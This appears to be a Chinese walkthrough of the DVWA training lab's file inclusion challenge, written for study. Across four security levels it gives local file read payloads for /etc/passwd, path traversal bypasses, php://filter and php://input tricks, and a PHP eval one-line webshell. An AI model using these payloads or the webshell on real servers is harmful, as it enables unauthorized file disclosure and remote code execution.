【DVWA】File Inclusion(文件包含漏洞)通关教程
日期:2019-07-28 20:58:29
更新:
作者:Bay0net
介绍:
0x01、 漏洞介绍
文件包含时,不管包含的文件是什么类型,都会优先尝试当作 php 文件执行。
如果文件内容有 php 代码,则会执行 php 代码并返回代码执行的结果。
如果文件内容没有 php 代码,则把文件内容打印出来。
0x02、Low Security Level
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
服务器获取 page 的值,没有进行任何过滤。
文件包含
# 原 URL
http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php
# 本地文件包含,读文件(绝对路径 或 相对路径)
http://127.0.0.1:81/vulnerabilities/fi/?page=/etc/passwd
http://127.0.0.1:81/vulnerabilities/fi/?page=../../../../../etc/passwd
# 远程文件包含
http://127.0.0.1:81/vulnerabilities/fi/?page=http://www.baidu.com
获取 shell
本地文件包含一句话木马,木马所在文件为 /tmp/1.txt,内容如下
<?php @eval($_POST["gg"]); ?>

伪协议读文件
如 0x01 所述,所有的 php 文件都会当成代码来执行,所以无法读取源码,如果 flag 在 php 文件中,那么我们就需要想办法来读取 flag。
# 直接读取,PHP 代码直接执行
http://127.0.0.1:81/vulnerabilities/fi/?page=file1.php
# 利用伪协议读取源码
http://127.0.0.1:81/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

复制出来第一行,然后直接 base64 解码即可。
伪协议 执行命令
利用的是 php://input 伪协议。
URL: http://127.0.0.1:81/vulnerabilities/fi/?page=php://input
POST:<?php phpinfo(); ?>

0x03、Medium Security Level
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = ( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
过滤了一些东西,array 里面的就是。
绕过方法
1、使用绝对路径绕过。
2、使用的是 str_replace() 函数,可以使用重写的方式绕过
htthttp://p:// -> http://
..././ -> ../
0x04、High Security Level
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
满足以下两个条件,则报错:
- 传过来的
page里面没有file* - $file 不等于
include.php
绕过方法
1、使用伪协议绕过。
http://127.0.0.1:81/vulnerabilities/fi/?page=file:///etc/passwd
2、URL 包含关键字
# 此种方式无法绕过这个题,如果是 *file* 就能绕过了。。
http://vps.ip:9090/file.html
0x05、Impossible Security Level
查看源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
写死了文件名,无解。。。
0x06、Reference
【DVWA】File Inclusion(文件包含漏洞)通关教程的更多相关文章
- Pikachu-File Inclusion(文件包含漏洞)
File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...
- DVWA之File Inclusion(文件包含)
目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...
- 2. DVWA亲测文件包含漏洞
Low级: 我们分别点击这几个file.php文件 仅仅是配置参数的变化: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php 如 ...
- DVWA各级文件包含漏洞
File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...
- DVWA File Inclusion 通关教程
File Inclusion 介绍File Inclusion,即文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数:include(),req ...
- 文件包含漏洞File Inclusion
文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...
- 文件包含漏洞(file inclusion)
文件包含漏洞原理:(php) 是指当服务器开启allow_url_include选项的时候,通过php某些特性函数.如include().include_once().require().requir ...
- php文件包含漏洞 file inclusion vulnerability
0x00 何为文件包含漏洞 开发人员如果在写类似include "a.php"的代码时,如果将a.php写成了可变的值,那么就可以在上面做文章,举个理想的例子: <? inc ...
- 文件包含漏洞(DVWA环境中复现)
LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> 可以看到,low级别的代码对包含的文件 ...
- 本地文件包含漏洞(LFI漏洞)
0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...
随机推荐
- 为Redis设置登录密码并使用密码登录
https://www.cnblogs.com/756623607-zhang/p/6859540.html 密码登录Redis redis-cli -h 127.0.0.1 -p 6379 -a & ...
- [易学易懂系列|rustlang语言|零基础|快速入门|(15)|Unit Testing单元测试]
[易学易懂系列|rustlang语言|零基础|快速入门|(15)] 实用知识 Unit Testing单元测试 我们知道,在现代软件开发的过程中,单元测试对软件的质量极及重要. 今天我们来看看Rust ...
- Centos 7搭建Gitlab服务器以及操作(创建项目,创建群组,创建用户,添加密钥)
一. 安装并配置依赖包 在CentOS系统上安装所需的依赖:ssh,防火墙,postfix(用于邮件通知) ,wget,以下这些命令也会打开 系统防火墙中的HTTP和SSH端口访问 安装前准备 命令: ...
- H5 2次重定向301
测试环境http ,生产https,导致请求重定向.加之H5自己的一次请求重定向,一共2次.
- Prometheus+Granfana
二.虚机(服务器)方式prometheus在虚机(服务器)中安装运行. 命令行启动在安装完成以后,可以直接在命令行启动.启动方式通常是: ./prometheus --config.file=prom ...
- jdk1.8环境变量配置
JAVA_HOME=/usr/java/jdk1.8.0_45PATH=$JAVA_HOME/bin:$PATHCLASSPATH=.:$JAVA_HOME/jre/lib/ext:$JAVA_HOM ...
- php和http协议
http协议:电脑与电脑,网络与网络之间传输需要的一些条件: 比如网线互联,能相互找到ip地址(tcp/ip: b/s结构一定要遵循http协议): 报文都要有报头,要给谁传数据,要传什么数据,传什么 ...
- 【leetcode】1266. Minimum Time Visiting All Points
题目如下: On a plane there are n points with integer coordinates points[i] = [xi, yi]. Your task is to f ...
- JS框架_(Progress.js)圆形动画进度条
百度云盘 传送门 密码: 6mcf 圆形动画进度条效果: <!DOCTYPE html> <html lang="en"> <head> < ...
- Linux上Redis安装和简单操作
Redis redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sorte ...